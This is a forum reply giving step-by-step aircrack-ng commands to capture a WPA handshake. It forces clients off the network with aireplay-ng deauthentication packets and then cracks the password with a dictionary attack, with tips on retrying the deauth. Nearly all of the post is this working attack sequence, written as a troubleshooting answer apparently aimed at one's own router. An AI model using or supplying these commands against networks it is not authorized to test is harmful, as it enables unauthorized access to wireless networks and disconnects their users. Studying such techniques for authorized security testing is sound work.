I think this will work for you try it out and tell me. Adjust your interface names to fit your needs.

Open a terminal and type this down:

Code:

airmon-ng start wlan0
airodump-ng -c <your channel> --bssid <your router's bssid> -w <custom name of the file to capture info> mon0

Open another terminal and type the following:

Code:

aireplay-ng -0 1 -a <router's bssid> -c <mac address of another devide not the same> mon0

Then go check the first terminal in the up-right corner it prints now WPA Handshake . If it doesn't let some seconds pass and the rerun the second's terminal command over and over again but don't spam it like -0 10 or -0 100 this is not the proper way to do it except if you have been making tries like I told you many times and you can't achieve it.

At last open another terminal and run:

Code:

aircrack-ng -w <custom dictionary> <custom name of the file that captured all the info>.cap

If the dictionary contains your password it should find it.

From my perspective you made 2 mistakes:

1. You brought the wireless interface down with ifconfig wlan1 down and never brought it up again.
   
2. You tried to run the aireplay-ng method on the same devide that you were capturing with, (the attacker machine was the same with the victim one)
   

I hope this helped you out.
Cheers!
